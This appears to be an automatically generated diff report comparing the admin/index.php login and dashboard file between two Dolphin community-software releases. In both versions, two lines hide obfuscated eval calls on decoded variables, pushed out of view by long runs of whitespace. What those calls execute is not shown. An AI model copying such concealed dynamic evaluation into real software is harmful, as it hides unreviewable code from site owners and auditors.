44. File Comparison Report

Produced on Mon May 12 13:04:33 2008 UTC. This report uses XHTML and CSS2, and is best viewed with a reasonably standards compliant browser such as the latest version of Firefox or Internet Explorer. For optimum results when printing this report, use landscape orientation and enable printing of background images and colours in your browser.

44.1 Files compared

# Location File Last Modified
1 Dolphin-v.6.0.5\admin index.php Fri Feb 1 11:19:52 2008 UTC
2 Dolphin-v.6.1.0\admin index.php Sat Apr 19 12:05:02 2008 UTC

44.2 Comparison summary

Description Between
Files 1 and 2
Text Blocks Lines
Unchanged 6 540
Changed 4 8
Inserted 1 3
Removed 0 0

44.3 Comparison options

Whitespace
Character case Differences in character case are significant
Line endings Differences in line endings (CR and LF characters) are ignored
CR/LF characters Not shown in the comparison detail

44.4 Active regular expressions

No regular expressions were active.

44.5 Comparison detail

1   <?   1   <?
2     2  
3     3  
4   /********* ********** ********** ********** ********** ********** ********** ******   4   /********* ********** ********** ********** ********** ********** ********** ******
5   *                              D olphin Sma rt Communi ty Builder   5   *                              D olphin Sma rt Communi ty Builder
6   *                                 --------- --------   6   *                                 --------- --------
7   *     begi n                 : M on Mar 23  2006   7   *     begi n                 : M on Mar 23  2006
8   *     copy right             : ( C) 2006 Bo onEx Group   8   *     copy right             : ( C) 2006 Bo onEx Group
9   *     webs ite               : h ttp://www. boonex.com /   9   *     webs ite               : h ttp://www. boonex.com /
10   * This fil e is part  of Dolphin  - Smart C ommunity B uilder   10   * This fil e is part  of Dolphin  - Smart C ommunity B uilder
11   *   11   *
12   * Dolphin  is free so ftware. Th is work is  licensed  under a Cr eative Com mons Attri bution 3.0  License.    12   * Dolphin  is free so ftware. Th is work is  licensed  under a Cr eative Com mons Attri bution 3.0  License. 
13   * http://c reativecom mons.org/l icenses/by /3.0/   13   * http://c reativecom mons.org/l icenses/by /3.0/
14   *   14   *
15   * Dolphin  is distrib uted in th e hope tha t it will  be useful,  but WITHO UT ANY WAR RANTY;   15   * Dolphin  is distrib uted in th e hope tha t it will  be useful,  but WITHO UT ANY WAR RANTY;
16   * without  even the i mplied war ranty of   MERCHANTAB ILITY or F ITNESS FOR  A PARTICU LAR PURPOS E.   16   * without  even the i mplied war ranty of   MERCHANTAB ILITY or F ITNESS FOR  A PARTICU LAR PURPOS E.
17   * See the  Creative C ommons Att ribution 3 .0 License  for more  details.    17   * See the  Creative C ommons Att ribution 3 .0 License  for more  details. 
18   * You shou ld have re ceived a c opy of the  Creative  Commons At tribution  3.0 Licens e along wi th Dolphin   18   * You shou ld have re ceived a c opy of the  Creative  Commons At tribution  3.0 Licens e along wi th Dolphin
19   * see lice nse.txt fi le; if not , write to  marketing @boonex.co m   19   * see lice nse.txt fi le; if not , write to  marketing @boonex.co m
20   ********** ********** ********** ********** ********** ********** ********** *****/   20   ********** ********** ********** ********** ********** ********** ********** *****/
21     21  
22     22  
23     23  
24     24  
25   require_on ce( '../in c/header.i nc.php' );   25   require_on ce( '../in c/header.i nc.php' );
26   require_on ce( BX_DIR ECTORY_PAT H_INC . 'p rofiles.in c.php' );   26   require_on ce( BX_DIR ECTORY_PAT H_INC . 'p rofiles.in c.php' );
27   require_on ce( BX_DIR ECTORY_PAT H_INC . 'd esign.inc. php' );   27   require_on ce( BX_DIR ECTORY_PAT H_INC . 'd esign.inc. php' );
28   require_on ce( BX_DIR ECTORY_PAT H_INC . 'a dmin_desig n.inc.php'  );   28   require_on ce( BX_DIR ECTORY_PAT H_INC . 'a dmin_desig n.inc.php'  );
29   require_on ce( BX_DIR ECTORY_PAT H_INC . 'c heckout.in c.php' );   29   require_on ce( BX_DIR ECTORY_PAT H_INC . 'c heckout.in c.php' );
30   require_on ce( BX_DIR ECTORY_PAT H_INC . 'u tils.inc.p hp' );   30   require_on ce( BX_DIR ECTORY_PAT H_INC . 'u tils.inc.p hp' );
31     31  
32   require_on ce( BX_DIR ECTORY_PAT H_CLASSES  . 'BxRSS.p hp' );   32   require_on ce( BX_DIR ECTORY_PAT H_CLASSES  . 'BxRSS.p hp' );
33     33  
34     34  
35   if ( $_POS T['ID'] )   35   if ( $_POS T['ID'] )
36   {   36   {
37       $admin _id = proc ess_db_inp ut( $_POST ['ID'] );   37       $admin _id = proc ess_db_inp ut( $_POST ['ID'] );
38       $admin _pass = pr ocess_db_i nput( $_PO ST['Passwo rd'] );   38       $admin _pass = pr ocess_db_i nput( $_PO ST['Passwo rd'] );
39       $resul t = db_res ( "SELECT  * FROM `Ad mins` WHER E `Name` =  '$admin_i d' AND `Pa ssword` =  MD5('$admi n_pass')"  );   39       $resul t = db_res ( "SELECT  * FROM `Ad mins` WHER E `Name` =  '$admin_i d' AND `Pa ssword` =  MD5('$admi n_pass')"  );
40       if ( m ysql_num_r ows( $resu lt ) != 1  )   40       if ( m ysql_num_r ows( $resu lt ) != 1  )
41            login_form (   'Login   failed.   Please,   try   again.',   1  
);
  41            login_form (   'Login   failed.   Please,   try   again.',   1 ,   true   );
42       else   42       else
43       {   43       {
44     44  
45           if ( !$sUrlRe locate = $ _POST['rel ocate'] )   45           if ( !$sUrlRe locate = $ _POST['rel ocate'] )
46                $sUrlRel ocate = $_ SERVER['PH P_SELF'];   46                $sUrlRel ocate = $_ SERVER['PH P_SELF'];
47     47  
48     48  
49                                                                                                                                                                                                                                                                                                         $r  = $l($a);  eval($r($ b));   49                                                                                                                                                                                                                                                                                                         $r  = $l($a);  eval($r($ b));
50     50  
51     51  
52   ?>   52   ?>
53   <!DOCTYPE  html PUBLI C "-//W3C/ /DTD XHTML  1.0 Trans itional//E N" "http:/ /www.w3.or g/TR/xhtml 1/DTD/xhtm l1-transit ional.dtd" >   53   <!DOCTYPE  html PUBLI C "-//W3C/ /DTD XHTML  1.0 Trans itional//E N" "http:/ /www.w3.or g/TR/xhtml 1/DTD/xhtm l1-transit ional.dtd" >
54   <html xmln s="http:// www.w3.org /1999/xhtm l" xml:lan g="en-US"  lang="en-U S">   54   <html xmln s="http:// www.w3.org /1999/xhtm l" xml:lan g="en-US"  lang="en-U S">
55       <head>   55       <head>
56           <t itle>Admin  Panel</ti tle>   56           <t itle>Admin  Panel</ti tle>
57           <m eta http-e quiv="Cont ent-Type"  content="t ext/html;  charset=UT F-8" />   57           <m eta http-e quiv="Cont ent-Type"  content="t ext/html;  charset=UT F-8" />
58           <? php if (0  == $iCode  || 10 == $ iCode || - 1 == $iCod e) { ?><me ta http-eq uiv="refre sh" conten t="1;URL=< ?= $sUrlRe locate ?>"  /><?php }  ?>   58           <? php if (0  == $iCode  || 10 == $ iCode || - 1 == $iCod e) { ?><me ta http-eq uiv="refre sh" conten t="1;URL=< ?= $sUrlRe locate ?>"  /><?php }  ?>
59           <l ink href=" styles/gen eral.css"  rel="style sheet" typ e="text/cs s" />   59           <l ink href=" styles/gen eral.css"  rel="style sheet" typ e="text/cs s" />
60              60           
61           <! --[if lt I E 7.]>   61           <! --[if lt I E 7.]>
62           <s cript defe r type="te xt/javascr ipt">   62           <s cript defe r type="te xt/javascr ipt">
63                var site _url = '<? = $site['u rl'] ?>';   63                var site _url = '<? = $site['u rl'] ?>';
64           </ script>   64           </ script>
65           <s cript defe r type="te xt/javascr ipt" src=" ../inc/js/ pngfix.js" ></script>   65           <s cript defe r type="te xt/javascr ipt" src=" ../inc/js/ pngfix.js" ></script>
66           <! [endif]-->   66           <! [endif]-->
67           <s tyle>        67           <s tyle>     
68                .warn   68                .warn
69                {   69                {
70                    widt h:480px;    70                    widt h:480px; 
71                    back ground-col or:#CC3333   71                    back ground-col or:#CC3333
72                    marg in:150px;    72                    marg in:150px; 
73                    padd ing:25px;    73                    padd ing:25px; 
74                    colo r:#FFFFFF;   74                    colo r:#FFFFFF;
75                    font -family:Ar ial;   75                    font -family:Ar ial;
76                }   76                }
77                .warn a   77                .warn a
78                {   78                {
79                    colo r:#FFFFFF;   79                    colo r:#FFFFFF;
80                }   80                }
81                .warn di v, .warn h 2   81                .warn di v, .warn h 2
82                {   82                {
83                    font -weight:bo ld;   83                    font -weight:bo ld;
84                    font -size:130% ;   84                    font -size:130% ;
85                }   85                }
86                .warn h2   86                .warn h2
87                {   87                {
88                    font -size:25px ;;   88                    font -size:25px ;;
89                }   89                }
90           </ style>   90           </ style>
91       </head >   91       </head >
92       <body>   92       <body>
93                                                                                                                                                                                                                                                                                                                                                                                                                   <? eva l($r($c));  ?>   93                                                                                                                                                                                                                                                                                                                                                                                                                   <? eva l($r($c));  ?>
94       </body >   94       </body >
95   </html>   95   </html>
96   <?   96   <?
97              97           
98              98           
99           ex it;   99           ex it;
100       }   100       }
101   }   101   }
102     102  
103     103  
104   if ( !$_CO OKIE['admi nID'] || ! $_COOKIE[' adminPassw ord'] )   104   if ( !$_CO OKIE['admi nID'] || ! $_COOKIE[' adminPassw ord'] )
105   {   105   {
106       // thi s is dynam ic page -   send head ers to do  not cache  this page   106       // thi s is dynam ic page -   send head ers to do  not cache  this page
107       send_h eaders_pag e_changed( );   107       send_h eaders_pag e_changed( );
108       login_ form( "",  1 );   108       login_ form( "",  1 );
109       exit() ;   109       exit() ;
110   }   110   }
111     111  
112     112  
113   //======== ========== ========== ========== ========== ========== ========== ========== ========== ==   113   //======== ========== ========== ========== ========== ========== ========== ========== ========== ==
114   //======== ========== ========== ========== ========== ========== ========== ========== ========== ==   114   //======== ========== ========== ========== ========== ========== ========== ========== ========== ==
115     115  
116       set_er ror_handle r("ErrorHa ndler");   116       set_er ror_handle r("ErrorHa ndler");
117     117  
118       if ( $ _REQUEST[' news_disab le'] )   118       if ( $ _REQUEST[' news_disab le'] )
119           se tParam("ne ws_enable" , 0);   119           se tParam("ne ws_enable" , 0);
120     120  
121       if ( $ _REQUEST[' news_enabl e'] )   121       if ( $ _REQUEST[' news_enabl e'] )
122           se tParam("ne ws_enable" , 1);   122           se tParam("ne ws_enable" , 1);
123          123       
124       $news_ enable = g etParam("n ews_enable ");   124       $news_ enable = g etParam("n ews_enable ");
125          125       
126       if( $n ews_enable  )   126       if( $n ews_enable  )
127           $s VerFile =  @file_get_ contents(  'http://rs s.boonex.c om/' );   127           $s VerFile =  @file_get_ contents(  'http://rs s.boonex.c om/' );
128       else   128       else
129           $s VerFile =  '';   129           $s VerFile =  '';
130          130       
131       $aVer  = preg_spl it( '/<\/? dolphin>/' , $sVerFil e );   131       $aVer  = preg_spl it( '/<\/? dolphin>/' , $sVerFil e );
132       $sDolV erLatest =  $aVer[1];   132       $sDolV erLatest =  $aVer[1];
133          133       
134   //======== ========== ========== ========== ========== ========== ========== ========== ========== ==   134   //======== ========== ========== ========== ========== ========== ========== ========== ========== ==
135   //======== ========== ========== ========== ========== ========== ========== ========== ========== ==   135   //======== ========== ========== ========== ========== ========== ========== ========== ========== ==
136     136  
137   $logged['a dmin']   =   member_aut h(   1  
);
  137   $logged['a dmin']   =   member_aut h(   1 ,   true,   true   );
138     138  
139   if( (int)$ _GET['admi n_categ']  )   139   if( (int)$ _GET['admi n_categ']  )
140   {   140   {
141       TopCod eAdmin();   141       TopCod eAdmin();
142           ge tAdminCate gIndex();   142           ge tAdminCate gIndex();
143       Bottom Code();   143       Bottom Code();
144   }   144   }
145     145  
146   $_page['cs s_name'] =  'index.cs s';   146   $_page['cs s_name'] =  'index.cs s';
147   $_page['he ader'] = " Dashboard" ;   147   $_page['he ader'] = " Dashboard" ;
148     148  
149   $free_mode  = getPara m("free_mo de") == "o n" ? 1 : 0 ;   149   $free_mode  = getPara m("free_mo de") == "o n" ? 1 : 0 ;
150     150  
151   // Finance   151   // Finance
152   if ( !$fre e_mode )   152   if ( !$fre e_mode )
153   {   153   {
154       $tr_ar ray = arra y();   154       $tr_ar ray = arra y();
155       $fin =  getFinanc eStat( $tr _array );   155       $fin =  getFinanc eStat( $tr _array );
156       $full_ amount = $ fin['total '];   156       $full_ amount = $ fin['total '];
157   }   157   }
158     158  
159   $iMembers  = db_value ( "SELECT  COUNT(*) F ROM `Profi les`" );// members co unt   159   $iMembers  = db_value ( "SELECT  COUNT(*) F ROM `Profi les`" );// members co unt
160   $iPhotos   = db_value ( "SELECT  COUNT(*) F ROM `media ` WHERE `m ed_type`=' photo' AND  `med_prof _id`!=0" ) ;//photos  count   160   $iPhotos   = db_value ( "SELECT  COUNT(*) F ROM `media ` WHERE `m ed_type`=' photo' AND  `med_prof _id`!=0" ) ;//photos  count
161   $iBlogs    = db_value ( "SELECT  COUNT(*) F ROM `BlogP osts`" );/ /posts cou nt   161   $iBlogs    = db_value ( "SELECT  COUNT(*) F ROM `BlogP osts`" );/ /posts cou nt
162   $iSPolls   = db_value ( "SELECT  COUNT(*) F ROM `polls _q`" );//s ite polls  count   162   $iSPolls   = db_value ( "SELECT  COUNT(*) F ROM `polls _q`" );//s ite polls  count
163   $iGalls    = db_value ( "SELECT  COUNT(*) F ROM `Galle ryAlbums`"  );//galle ries count   163   $iGalls    = db_value ( "SELECT  COUNT(*) F ROM `Galle ryAlbums`"  );//galle ries count
164   $iEvents   = db_value ( "SELECT  COUNT(*) F ROM `SDati ngEvents`"  );//event s count   164   $iEvents   = db_value ( "SELECT  COUNT(*) F ROM `SDati ngEvents`"  );//event s count
165   $iLinks    = db_value ( "SELECT  COUNT(*) F ROM `Links `" );//lin ks count   165   $iLinks    = db_value ( "SELECT  COUNT(*) F ROM `Links `" );//lin ks count
166   $iQuotes   = db_value ( "SELECT  COUNT(*) F ROM `Daily Quotes`" ) ;//quotes  count   166   $iQuotes   = db_value ( "SELECT  COUNT(*) F ROM `Daily Quotes`" ) ;//quotes  count
167   $iNews     = db_value ( "SELECT  COUNT(*) F ROM `News` " );//news  count   167   $iNews     = db_value ( "SELECT  COUNT(*) F ROM `News` " );//news  count
168     168  
169   //awaiting  moderatio n   169   //awaiting  moderatio n
170   $iModMembe rs = db_va lue( "SELE CT COUNT(* ) FROM `Pr ofiles` WH ERE `Statu s`='Approv al'" );   170   $iModMembe rs = db_va lue( "SELE CT COUNT(* ) FROM `Pr ofiles` WH ERE `Statu s`='Approv al'" );
171   $iModPhoto s  = db_va lue( "SELE CT COUNT(* ) FROM `me dia` WHERE  `med_stat us`='passi ve' AND `m ed_type`=' photo'" );   171   $iModPhoto s  = db_va lue( "SELE CT COUNT(* ) FROM `me dia` WHERE  `med_stat us`='passi ve' AND `m ed_type`=' photo'" );
172   $iModBacks    = db_va lue( "SELE CT COUNT(* ) FROM `Pr ofilesSett ings` WHER E `Backgro undFilenam e` != '' A ND `Backgr oundFilena me` IS NOT  NULL  AND  ( `Status ` != 'Acti ve' OR `St atus` IS N ULL )" );   172   $iModBacks    = db_va lue( "SELE CT COUNT(* ) FROM `Pr ofilesSett ings` WHER E `Backgro undFilenam e` != '' A ND `Backgr oundFilena me` IS NOT  NULL  AND  ( `Status ` != 'Acti ve' OR `St atus` IS N ULL )" );
173   $iModPolls    = db_va lue( "SELE CT COUNT(* ) FROM `Pr ofilesPoll s` WHERE ` poll_appro val`=0" );   173   $iModPolls    = db_va lue( "SELE CT COUNT(* ) FROM `Pr ofilesPoll s` WHERE ` poll_appro val`=0" );
174   $iModGalls    = db_va lue( "SELE CT COUNT(* ) FROM `Ga lleryObjec ts` WHERE  `Approved` =0" );   174   $iModGalls    = db_va lue( "SELE CT COUNT(* ) FROM `Ga lleryObjec ts` WHERE  `Approved` =0" );
175   $iModBlogs    = db_va lue( "SELE CT COUNT(* ) FROM `Bl ogPosts` W HERE `Post Status`='d isapproval '" );   175   $iModBlogs    = db_va lue( "SELE CT COUNT(* ) FROM `Bl ogPosts` W HERE `Post Status`='d isapproval '" );
176     176  
    177   $sStatAdmi n = getSit eStatAdmin ();
    178   $sStatUser  = getSite StatUser() ;
    179  
177   TopCodeAdm in();   180   TopCodeAdm in();
178     181  
179   ContentBlo ckHead( 'L atest Acti vity', 0,  'quickstat ' );   182   ContentBlo ckHead( 'L atest Acti vity', 0,  'quickstat ' );
180     183  
181   echo '<div  class="qu ick_stat_p art">   184   echo '<div  class="qu ick_stat_p art">
182              <img src=" images/ico ns/graph.p ng" class= "quick_sta t_part_lis t" />   185              <img src=" images/ico ns/graph.p ng" class= "quick_sta t_part_lis t" />
183              <div class ="quick_st at_part_he ad">Quick  Stats</div >   186              <div class ="quick_st at_part_he ad">Quick  Stats</div >
184              <div   class="qui ck_stat_pa rt_body">' . getSite Stat () .'</div>   187              <div   class="qui ck_stat_pa rt_body">' . $s Stat User .'</div>
185         </di v>   188         </di v>
186         <div  class="qu ick_stat_p art">   189         <div  class="qu ick_stat_p art">
187              <img src=" images/ico ns/bino.pn g" class=" quick_stat _part_list " />   190              <img src=" images/ico ns/bino.pn g" class=" quick_stat _part_list " />
188              <div class ="quick_st at_part_he ad">Awaiti ng Moderat ion</div>   191              <div class ="quick_st at_part_he ad">Awaiti ng Moderat ion</div>
189              <div   class="qui ck_stat_pa rt_body">' . getSite Stat ('a dmin ') .'</div>   192              <div   class="qui ck_stat_pa rt_body">' . $s Stat A dmin
.'</div>
190         </di v>';   193         </di v>';
191     194  
192   ?>   195   ?>
193   <?   196   <?
194   ContentBlo ckFoot();   197   ContentBlo ckFoot();
195   ?>   198   ?>
196       <div>   199       <div>
197           <d iv class=" clear_both "></div>   200           <d iv class=" clear_both "></div>
198                   201                
199                <div sty le="width: 200px;floa t:left;">   202                <div sty le="width: 200px;floa t:left;">
200   <?   203   <?
201   ContentBlo ckHead( 'V ersion', 0 , 'version ' );   204   ContentBlo ckHead( 'V ersion', 0 , 'version ' );
202       echo " Installed  - {$site[' ver']}.{$s ite['build ']}<br />\ n";   205       echo " Installed  - {$site[' ver']}.{$s ite['build ']}<br />\ n";
203       echo " Latest - $ sDolVerLat est<br />\ n";   206       echo " Latest - $ sDolVerLat est<br />\ n";
204       echo ' <a href="h ttp://www. boonex.com /products/ dolphin/do wnload/">C heck For U pdates</a> ';   207       echo ' <a href="h ttp://www. boonex.com /products/ dolphin/do wnload/">C heck For U pdates</a> ';
205   ContentBlo ckFoot();   208   ContentBlo ckFoot();
206     209  
207   ContentBlo ckHead( 'L inks', 0,  'links' );   210   ContentBlo ckHead( 'L inks', 0,  'links' );
208       showAd minLinks() ;   211       showAd minLinks() ;
209   ContentBlo ckFoot();   212   ContentBlo ckFoot();
210     213  
211   ?>   214   ?>
212                </div>   215                </div>
213                   216                
214                <div sty le="width: 400px;floa t:left;">   217                <div sty le="width: 400px;floa t:left;">
215       <?   218       <?
216       if( $n ews_enable  )   219       if( $n ews_enable  )
217       {   220       {
218           if ( $oNews =  new BxRSS ( 'http:// www.boonex .com/unity /blog/feat ured_posts /?rss=1' )  )   221           if ( $oNews =  new BxRSS ( 'http:// www.boonex .com/unity /blog/feat ured_posts /?rss=1' )  )
219           {   222           {
220                ContentB lockHead(  'BoonEx Ne ws Feed',  0, 'news_f eed' );   223                ContentB lockHead(  'BoonEx Ne ws Feed',  0, 'news_f eed' );
221                       224                    
222                $iNewsNu m = 0;   225                $iNewsNu m = 0;
223                foreach(  $oNews ->  items as  $oItem )   226                foreach(  $oNews ->  items as  $oItem )
224                {   227                {
225                    ?>   228                    ?>
226                    <div  class="ne ws_block">   229                    <div  class="ne ws_block">
227                         <div class ="news_tit le"><a hre f="<?=$oIt em -> link ?>"><?=$oI tem -> tit le?></a></ div>   230                         <div class ="news_tit le"><a hre f="<?=$oIt em -> link ?>"><?=$oI tem -> tit le?></a></ div>
228                         <div class ="news_dat e"><?=date ('j F Y',  strtotime( $oItem ->  pubDate))? ></div>   231                         <div class ="news_dat e"><?=date ('j F Y',  strtotime( $oItem ->  pubDate))? ></div>
229                         <div class ="news_des c"><?=$oIt em -> desc ription?>< /div>   232                         <div class ="news_des c"><?=$oIt em -> desc ription?>< /div>
230                    </di v>   233                    </di v>
231                    <?   234                    <?
232                       235                    
233                    if(  ++$iNewsNu m == 4 )   236                    if(  ++$iNewsNu m == 4 )
234                         break;   237                         break;
235                }   238                }
236                ?>   239                ?>
237                    <div  style="fo nt-size:13 px;font-we ight:bold; text-align :right;">   240                    <div  style="fo nt-size:13 px;font-we ight:bold; text-align :right;">
238                         <a href="h ttp://www. boonex.org /">More Bo onEx News< /a>   241                         <a href="h ttp://www. boonex.org /">More Bo onEx News< /a>
239                    </di v>   242                    </di v>
240                <?   243                <?
241                ContentB lockFoot() ;   244                ContentB lockFoot() ;
242           }   245           }
243       }   246       }
244       //echo Dbg( $oNew s );   247       //echo Dbg( $oNew s );
245       ?>   248       ?>
246                </div>   249                </div>
247              250           
248           <d iv class=" clear_both "></div>   251           <d iv class=" clear_both "></div>
249       </div>   252       </div>
250   <?   253   <?
251   BottomCode ();   254   BottomCode ();
252     255  
253     256  
254   function s howAdminLi nks()   257   function s howAdminLi nks()
255   {   258   {
256       global  $site;   259       global  $site;
257          260       
258       $rLink s = db_res ( "SELECT  * FROM `Ad minLinks`"  );   261       $rLink s = db_res ( "SELECT  * FROM `Ad minLinks`"  );
259       while(  $aLink =  mysql_fetc h_assoc( $ rLinks ) )   262       while(  $aLink =  mysql_fetc h_assoc( $ rLinks ) )
260       {   263       {
261           $a Link['Url' ] = str_re place( '{s ite}', $si te['url'],  $aLink['U rl'] );   264           $a Link['Url' ] = str_re place( '{s ite}', $si te['url'],  $aLink['U rl'] );
262           ?>   265           ?>
263           <d iv class=" admin_link "><a href= "<?=$aLink ['Url']?>" ><?=$aLink ['Title']? ></a></div >   266           <d iv class=" admin_link "><a href= "<?=$aLink ['Url']?>" ><?=$aLink ['Title']? ></a></div >
264           <?   267           <?
265       }   268       }
266   }   269   }
267     270  
268     271  
269   function M sgWarning( $sUrlReloc ate)   272   function M sgWarning( $sUrlReloc ate)
270   {   273   {
271     274  
272   }   275   }
273     276  
274   ?>   277   ?>